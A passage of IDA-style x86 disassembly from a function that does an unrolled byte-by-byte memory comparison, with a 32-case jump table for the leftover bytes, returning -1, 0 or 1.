		jnz	loc_40B7EF

loc_40B458:				; CODE XREF: sub_40B323+11Ej
		movzx	esi, byte ptr [eax+7]
		movzx	ebx, byte ptr [ecx+7]
		sub	esi, ebx
		jz	short loc_40B475
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_40B475
; ---------------------------------------------------------------------------

loc_40B473:				; CODE XREF: sub_40B323+D0j
		xor	esi, esi

loc_40B475:				; CODE XREF: sub_40B323+13Fj
					; sub_40B323+14Ej
		test	esi, esi
		jnz	loc_40B7EF
		mov	esi, [eax+8]
		cmp	esi, [ecx+8]
		jz	short loc_40B503
		movzx	esi, byte ptr [eax+8]
		movzx	ebx, byte ptr [ecx+8]
		sub	esi, ebx
		jz	short loc_40B4A6
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B4A6:				; CODE XREF: sub_40B323+16Cj
		movzx	esi, byte ptr [eax+9]
		movzx	ebx, byte ptr [ecx+9]
		sub	esi, ebx
		jz	short loc_40B4C7
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B4C7:				; CODE XREF: sub_40B323+18Dj
		movzx	esi, byte ptr [eax+0Ah]
		movzx	ebx, byte ptr [ecx+0Ah]
		sub	esi, ebx
		jz	short loc_40B4E8
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B4E8:				; CODE XREF: sub_40B323+1AEj
		movzx	esi, byte ptr [eax+0Bh]
		movzx	ebx, byte ptr [ecx+0Bh]
		sub	esi, ebx
		jz	short loc_40B505
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_40B505
; ---------------------------------------------------------------------------

loc_40B503:				; CODE XREF: sub_40B323+160j
		xor	esi, esi

loc_40B505:				; CODE XREF: sub_40B323+1CFj
					; sub_40B323+1DEj
		test	esi, esi
		jnz	loc_40B7EF
		mov	esi, [eax+0Ch]
		cmp	esi, [ecx+0Ch]
		jz	short loc_40B593
		movzx	esi, byte ptr [eax+0Ch]
		movzx	ebx, byte ptr [ecx+0Ch]
		sub	esi, ebx
		jz	short loc_40B536
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B536:				; CODE XREF: sub_40B323+1FCj
		movzx	esi, byte ptr [eax+0Dh]
		movzx	ebx, byte ptr [ecx+0Dh]
		sub	esi, ebx
		jz	short loc_40B557
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B557:				; CODE XREF: sub_40B323+21Dj
		movzx	esi, byte ptr [eax+0Eh]
		movzx	ebx, byte ptr [ecx+0Eh]
		sub	esi, ebx
		jz	short loc_40B578
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B578:				; CODE XREF: sub_40B323+23Ej
		movzx	esi, byte ptr [eax+0Fh]
		movzx	ebx, byte ptr [ecx+0Fh]
		sub	esi, ebx
		jz	short loc_40B595
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_40B595
; ---------------------------------------------------------------------------

loc_40B593:				; CODE XREF: sub_40B323+1F0j
		xor	esi, esi

loc_40B595:				; CODE XREF: sub_40B323+25Fj
					; sub_40B323+26Ej
		test	esi, esi
		jnz	loc_40B7EF
		mov	esi, [eax+10h]
		cmp	esi, [ecx+10h]
		jz	short loc_40B623
		movzx	ebx, byte ptr [ecx+10h]
		movzx	esi, byte ptr [eax+10h]
		sub	esi, ebx
		jz	short loc_40B5C6
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B5C6:				; CODE XREF: sub_40B323+28Cj
		movzx	esi, byte ptr [eax+11h]
		movzx	ebx, byte ptr [ecx+11h]
		sub	esi, ebx
		jz	short loc_40B5E7
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B5E7:				; CODE XREF: sub_40B323+2ADj
		movzx	esi, byte ptr [eax+12h]
		movzx	ebx, byte ptr [ecx+12h]
		sub	esi, ebx
		jz	short loc_40B608
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B608:				; CODE XREF: sub_40B323+2CEj
		movzx	esi, byte ptr [eax+13h]
		movzx	ebx, byte ptr [ecx+13h]
		sub	esi, ebx
		jz	short loc_40B625
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_40B625
; ---------------------------------------------------------------------------

loc_40B623:				; CODE XREF: sub_40B323+280j
		xor	esi, esi

loc_40B625:				; CODE XREF: sub_40B323+2EFj
					; sub_40B323+2FEj
		test	esi, esi
		jnz	loc_40B7EF
		mov	esi, [eax+14h]
		cmp	esi, [ecx+14h]
		jz	short loc_40B6B3
		movzx	esi, byte ptr [eax+14h]
		movzx	ebx, byte ptr [ecx+14h]
		sub	esi, ebx
		jz	short loc_40B656
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B656:				; CODE XREF: sub_40B323+31Cj
		movzx	esi, byte ptr [eax+15h]
		movzx	ebx, byte ptr [ecx+15h]
		sub	esi, ebx
		jz	short loc_40B677
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B677:				; CODE XREF: sub_40B323+33Dj
		movzx	esi, byte ptr [eax+16h]
		movzx	ebx, byte ptr [ecx+16h]
		sub	esi, ebx
		jz	short loc_40B698
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B698:				; CODE XREF: sub_40B323+35Ej
		movzx	esi, byte ptr [eax+17h]
		movzx	ebx, byte ptr [ecx+17h]
		sub	esi, ebx
		jz	short loc_40B6B5
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_40B6B5
; ---------------------------------------------------------------------------

loc_40B6B3:				; CODE XREF: sub_40B323+310j
		xor	esi, esi

loc_40B6B5:				; CODE XREF: sub_40B323+37Fj
					; sub_40B323+38Ej
		test	esi, esi
		jnz	loc_40B7EF
		mov	esi, [eax+18h]
		cmp	esi, [ecx+18h]
		jz	short loc_40B743
		movzx	esi, byte ptr [eax+18h]
		movzx	ebx, byte ptr [ecx+18h]
		sub	esi, ebx
		jz	short loc_40B6E6
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B6E6:				; CODE XREF: sub_40B323+3ACj
		movzx	esi, byte ptr [eax+19h]
		movzx	ebx, byte ptr [ecx+19h]
		sub	esi, ebx
		jz	short loc_40B707
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B707:				; CODE XREF: sub_40B323+3CDj
		movzx	esi, byte ptr [eax+1Ah]
		movzx	ebx, byte ptr [ecx+1Ah]
		sub	esi, ebx
		jz	short loc_40B728
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B728:				; CODE XREF: sub_40B323+3EEj
		movzx	esi, byte ptr [eax+1Bh]
		movzx	ebx, byte ptr [ecx+1Bh]
		sub	esi, ebx
		jz	short loc_40B745
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_40B745
; ---------------------------------------------------------------------------

loc_40B743:				; CODE XREF: sub_40B323+3A0j
		xor	esi, esi

loc_40B745:				; CODE XREF: sub_40B323+40Fj
					; sub_40B323+41Ej
		test	esi, esi
		jnz	loc_40B7EF
		mov	esi, [eax+1Ch]
		cmp	esi, [ecx+1Ch]
		jz	short loc_40B7C7
		movzx	esi, byte ptr [eax+1Ch]
		movzx	ebx, byte ptr [ecx+1Ch]
		sub	esi, ebx
		jz	short loc_40B772
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	short loc_40B7EF

loc_40B772:				; CODE XREF: sub_40B323+43Cj
		movzx	esi, byte ptr [eax+1Dh]
		movzx	ebx, byte ptr [ecx+1Dh]
		sub	esi, ebx
		jz	short loc_40B78F
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	short loc_40B7EF

loc_40B78F:				; CODE XREF: sub_40B323+459j
		movzx	esi, byte ptr [eax+1Eh]
		movzx	ebx, byte ptr [ecx+1Eh]
		sub	esi, ebx
		jz	short loc_40B7AC
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	short loc_40B7EF

loc_40B7AC:				; CODE XREF: sub_40B323+476j
		movzx	esi, byte ptr [eax+1Fh]
		movzx	ebx, byte ptr [ecx+1Fh]
		sub	esi, ebx
		jz	short loc_40B7C9
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_40B7C9
; ---------------------------------------------------------------------------

loc_40B7C7:				; CODE XREF: sub_40B323+430j
		xor	esi, esi

loc_40B7C9:				; CODE XREF: sub_40B323+493j
					; sub_40B323+4A2j
		test	esi, esi
		jnz	short loc_40B7EF
		add	eax, edx
		add	ecx, edx
		sub	edi, edx

loc_40B7D3:				; CODE XREF: sub_40B323+39j
		cmp	edi, edx
		jnb	loc_40B361
		add	eax, edi
		add	ecx, edi
		cmp	edi, 1Fh	; switch 32 cases
		ja	loc_40BBC2	; default
					; jumptable 0040B7E8 case 0
		jmp	ds:off_40C923[edi*4] ; switch jump
; ---------------------------------------------------------------------------

loc_40B7EF:				; CODE XREF: sub_40B323+5Dj
					; sub_40B323+7Ej ...
		mov	eax, esi
		jmp	loc_40BBC4
; ---------------------------------------------------------------------------

loc_40B7F6:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-1Ch]	; jumptable 0040B7E8 case 28
		cmp	edx, [ecx-1Ch]
		jz	short loc_40B86F
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-1Ch]
		sub	esi, edx
		jz	short loc_40B81A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	short loc_40B7EF

loc_40B81A:				; CODE XREF: sub_40B323+4E4j
		movzx	esi, byte ptr [eax-1Bh]
		movzx	edx, byte ptr [ecx-1Bh]
		sub	esi, edx
		jz	short loc_40B837
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	short loc_40B7EF

loc_40B837:				; CODE XREF: sub_40B323+501j
		movzx	esi, byte ptr [eax-1Ah]
		movzx	edx, byte ptr [ecx-1Ah]
		sub	esi, edx
		jz	short loc_40B854
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	short loc_40B7EF

loc_40B854:				; CODE XREF: sub_40B323+51Ej
		movzx	esi, byte ptr [eax-19h]
		movzx	edx, byte ptr [ecx-19h]
		sub	esi, edx
		jz	short loc_40B871
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40B871
; ---------------------------------------------------------------------------

loc_40B86F:				; CODE XREF: sub_40B323+4D9j
		xor	esi, esi

loc_40B871:				; CODE XREF: sub_40B323+53Bj
					; sub_40B323+54Aj
		test	esi, esi
		jnz	loc_40B7EF

loc_40B879:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-18h]	; jumptable 0040B7E8 case 24
		cmp	edx, [ecx-18h]
		jz	short loc_40B8FE
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-18h]
		sub	esi, edx
		jz	short loc_40B8A1
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B8A1:				; CODE XREF: sub_40B323+567j
		movzx	esi, byte ptr [eax-17h]
		movzx	edx, byte ptr [ecx-17h]
		sub	esi, edx
		jz	short loc_40B8C2
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B8C2:				; CODE XREF: sub_40B323+588j
		movzx	esi, byte ptr [eax-16h]
		movzx	edx, byte ptr [ecx-16h]
		sub	esi, edx
		jz	short loc_40B8E3
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B8E3:				; CODE XREF: sub_40B323+5A9j
		movzx	esi, byte ptr [eax-15h]
		movzx	edx, byte ptr [ecx-15h]
		sub	esi, edx
		jz	short loc_40B900
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40B900
; ---------------------------------------------------------------------------

loc_40B8FE:				; CODE XREF: sub_40B323+55Cj
		xor	esi, esi

loc_40B900:				; CODE XREF: sub_40B323+5CAj
					; sub_40B323+5D9j
		test	esi, esi
		jnz	loc_40B7EF

loc_40B908:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-14h]	; jumptable 0040B7E8 case 20
		cmp	edx, [ecx-14h]
		jz	short loc_40B98D
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-14h]
		sub	esi, edx
		jz	short loc_40B930
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B930:				; CODE XREF: sub_40B323+5F6j
		movzx	esi, byte ptr [eax-13h]
		movzx	edx, byte ptr [ecx-13h]
		sub	esi, edx
		jz	short loc_40B951
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B951:				; CODE XREF: sub_40B323+617j
		movzx	esi, byte ptr [eax-12h]
		movzx	edx, byte ptr [ecx-12h]
		sub	esi, edx
		jz	short loc_40B972
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B972:				; CODE XREF: sub_40B323+638j
		movzx	esi, byte ptr [eax-11h]
		movzx	edx, byte ptr [ecx-11h]
		sub	esi, edx
		jz	short loc_40B98F
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40B98F
; ---------------------------------------------------------------------------

loc_40B98D:				; CODE XREF: sub_40B323+5EBj
		xor	esi, esi

loc_40B98F:				; CODE XREF: sub_40B323+659j
					; sub_40B323+668j
		test	esi, esi
		jnz	loc_40B7EF

loc_40B997:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-10h]	; jumptable 0040B7E8 case 16
		cmp	edx, [ecx-10h]
		jz	short loc_40BA1C
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-10h]
		sub	esi, edx
		jz	short loc_40B9BF
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B9BF:				; CODE XREF: sub_40B323+685j
		movzx	esi, byte ptr [eax-0Fh]
		movzx	edx, byte ptr [ecx-0Fh]
		sub	esi, edx
		jz	short loc_40B9E0
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40B9E0:				; CODE XREF: sub_40B323+6A6j
		movzx	esi, byte ptr [eax-0Eh]
		movzx	edx, byte ptr [ecx-0Eh]
		sub	esi, edx
		jz	short loc_40BA01
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BA01:				; CODE XREF: sub_40B323+6C7j
		movzx	esi, byte ptr [eax-0Dh]
		movzx	edx, byte ptr [ecx-0Dh]
		sub	esi, edx
		jz	short loc_40BA1E
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40BA1E
; ---------------------------------------------------------------------------

loc_40BA1C:				; CODE XREF: sub_40B323+67Aj
		xor	esi, esi

loc_40BA1E:				; CODE XREF: sub_40B323+6E8j
					; sub_40B323+6F7j
		test	esi, esi
		jnz	loc_40B7EF

loc_40BA26:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-0Ch]	; jumptable 0040B7E8 case 12
		cmp	edx, [ecx-0Ch]
		jz	short loc_40BAAC
		movzx	edx, byte ptr [ecx-0Ch]
		movzx	esi, byte ptr [eax-0Ch]
		sub	esi, edx
		jz	short loc_40BA4F
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BA4F:				; CODE XREF: sub_40B323+715j
		movzx	esi, byte ptr [eax-0Bh]
		movzx	edx, byte ptr [ecx-0Bh]
		sub	esi, edx
		jz	short loc_40BA70
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BA70:				; CODE XREF: sub_40B323+736j
		movzx	esi, byte ptr [eax-0Ah]
		movzx	edx, byte ptr [ecx-0Ah]
		sub	esi, edx
		jz	short loc_40BA91
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BA91:				; CODE XREF: sub_40B323+757j
		movzx	esi, byte ptr [eax-9]
		movzx	edx, byte ptr [ecx-9]
		sub	esi, edx
		jz	short loc_40BAAE
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40BAAE
; ---------------------------------------------------------------------------

loc_40BAAC:				; CODE XREF: sub_40B323+709j
		xor	esi, esi

loc_40BAAE:				; CODE XREF: sub_40B323+778j
					; sub_40B323+787j
		test	esi, esi
		jnz	loc_40B7EF

loc_40BAB6:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-8]	; jumptable 0040B7E8 case 8
		cmp	edx, [ecx-8]
		jz	short loc_40BB3B
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-8]
		sub	esi, edx
		jz	short loc_40BADE
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BADE:				; CODE XREF: sub_40B323+7A4j
		movzx	esi, byte ptr [eax-7]
		movzx	edx, byte ptr [ecx-7]
		sub	esi, edx
		jz	short loc_40BAFF
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BAFF:				; CODE XREF: sub_40B323+7C5j
		movzx	esi, byte ptr [eax-6]
		movzx	edx, byte ptr [ecx-6]
		sub	esi, edx
		jz	short loc_40BB20
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BB20:				; CODE XREF: sub_40B323+7E6j
		movzx	esi, byte ptr [eax-5]
		movzx	edx, byte ptr [ecx-5]
		sub	esi, edx
		jz	short loc_40BB3D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40BB3D
; ---------------------------------------------------------------------------

loc_40BB3B:				; CODE XREF: sub_40B323+799j
		xor	esi, esi

loc_40BB3D:				; CODE XREF: sub_40B323+807j
					; sub_40B323+816j
		test	esi, esi
		jnz	loc_40B7EF

loc_40BB45:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-4]	; jumptable 0040B7E8 case 4
		cmp	edx, [ecx-4]
		jz	short loc_40BBBC
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-4]
		sub	esi, edx
		jz	short loc_40BB67
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		test	edx, edx
		jnz	short loc_40BB9D

loc_40BB67:				; CODE XREF: sub_40B323+833j
		movzx	esi, byte ptr [eax-3]
		movzx	edx, byte ptr [ecx-3]
		sub	esi, edx
		jz	short loc_40BB82
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		test	edx, edx
		jnz	short loc_40BB9D

loc_40BB82:				; CODE XREF: sub_40B323+84Ej
		movzx	esi, byte ptr [eax-2]
		movzx	edx, byte ptr [ecx-2]
		sub	esi, edx
		jz	short loc_40BBA1
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		test	edx, edx
		jz	short loc_40BBA1

loc_40BB9D:				; CODE XREF: sub_40B323+842j
					; sub_40B323+85Dj
		mov	eax, edx
		jmp	short loc_40BBBE
; ---------------------------------------------------------------------------

loc_40BBA1:				; CODE XREF: sub_40B323+869j
					; sub_40B323+878j
		movzx	eax, byte ptr [eax-1]
		movzx	ecx, byte ptr [ecx-1]
		sub	eax, ecx
		jz	short loc_40BBBE
		xor	ecx, ecx
		test	eax, eax
		setnle	cl
		lea	ecx, [ecx+ecx-1]
		mov	eax, ecx
		jmp	short loc_40BBBE
; ---------------------------------------------------------------------------

loc_40BBBC:				; CODE XREF: sub_40B323+828j
		xor	eax, eax

loc_40BBBE:				; CODE XREF: sub_40B323+87Cj
					; sub_40B323+888j ...
		test	eax, eax
		jnz	short loc_40BBC4

loc_40BBC2:				; CODE XREF: sub_40B323+4BFj
					; sub_40B323+4C5j ...
		xor	eax, eax	; default
					; jumptable 0040B7E8 case 0

loc_40BBC4:				; CODE XREF: sub_40B323+4CEj
					; sub_40B323+89Dj ...
		pop	ebx
		jmp	loc_40C91D
; ---------------------------------------------------------------------------

loc_40BBCA:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-1Dh]	; jumptable 0040B7E8 case 29
		cmp	edx, [ecx-1Dh]
		jz	short loc_40BC4F
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-1Dh]
		sub	esi, edx
		jz	short loc_40BBF2
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BBF2:				; CODE XREF: sub_40B323+8B8j
		movzx	esi, byte ptr [eax-1Ch]
		movzx	edx, byte ptr [ecx-1Ch]
		sub	esi, edx
		jz	short loc_40BC13
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BC13:				; CODE XREF: sub_40B323+8D9j
		movzx	esi, byte ptr [eax-1Bh]
		movzx	edx, byte ptr [ecx-1Bh]
		sub	esi, edx
		jz	short loc_40BC34
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BC34:				; CODE XREF: sub_40B323+8FAj
		movzx	esi, byte ptr [eax-1Ah]
		movzx	edx, byte ptr [ecx-1Ah]
		sub	esi, edx
		jz	short loc_40BC51
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40BC51
; ---------------------------------------------------------------------------

loc_40BC4F:				; CODE XREF: sub_40B323+8ADj
		xor	esi, esi

loc_40BC51:				; CODE XREF: sub_40B323+91Bj
					; sub_40B323+92Aj
		test	esi, esi
		jnz	loc_40B7EF

loc_40BC59:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-19h]	; jumptable 0040B7E8 case 25
		cmp	edx, [ecx-19h]
		jz	short loc_40BCDE
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-19h]
		sub	esi, edx
		jz	short loc_40BC81
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BC81:				; CODE XREF: sub_40B323+947j
		movzx	esi, byte ptr [eax-18h]
		movzx	edx, byte ptr [ecx-18h]
		sub	esi, edx
		jz	short loc_40BCA2
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BCA2:				; CODE XREF: sub_40B323+968j
		movzx	esi, byte ptr [eax-17h]
		movzx	edx, byte ptr [ecx-17h]
		sub	esi, edx
		jz	short loc_40BCC3
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BCC3:				; CODE XREF: sub_40B323+989j
		movzx	esi, byte ptr [eax-16h]
		movzx	edx, byte ptr [ecx-16h]
		sub	esi, edx
		jz	short loc_40BCE0
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40BCE0
; ---------------------------------------------------------------------------

loc_40BCDE:				; CODE XREF: sub_40B323+93Cj
		xor	esi, esi

loc_40BCE0:				; CODE XREF: sub_40B323+9AAj
					; sub_40B323+9B9j
		test	esi, esi
		jnz	loc_40B7EF

loc_40BCE8:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-15h]	; jumptable 0040B7E8 case 21
		cmp	edx, [ecx-15h]
		jz	short loc_40BD6D
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-15h]
		sub	esi, edx
		jz	short loc_40BD10
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BD10:				; CODE XREF: sub_40B323+9D6j
		movzx	esi, byte ptr [eax-14h]
		movzx	edx, byte ptr [ecx-14h]
		sub	esi, edx
		jz	short loc_40BD31
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BD31:				; CODE XREF: sub_40B323+9F7j
		movzx	esi, byte ptr [eax-13h]
		movzx	edx, byte ptr [ecx-13h]
		sub	esi, edx
		jz	short loc_40BD52
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BD52:				; CODE XREF: sub_40B323+A18j
		movzx	esi, byte ptr [eax-12h]
		movzx	edx, byte ptr [ecx-12h]
		sub	esi, edx
		jz	short loc_40BD6F
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40BD6F
; ---------------------------------------------------------------------------

loc_40BD6D:				; CODE XREF: sub_40B323+9CBj
		xor	esi, esi

loc_40BD6F:				; CODE XREF: sub_40B323+A39j
					; sub_40B323+A48j
		test	esi, esi
		jnz	loc_40B7EF

loc_40BD77:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-11h]	; jumptable 0040B7E8 case 17
		cmp	edx, [ecx-11h]
		jz	short loc_40BDFC
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-11h]
		sub	esi, edx
		jz	short loc_40BD9F
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40BD9F:				; CODE XREF: sub_40B323+A65j
		movzx	esi, byte ptr [eax-10h]
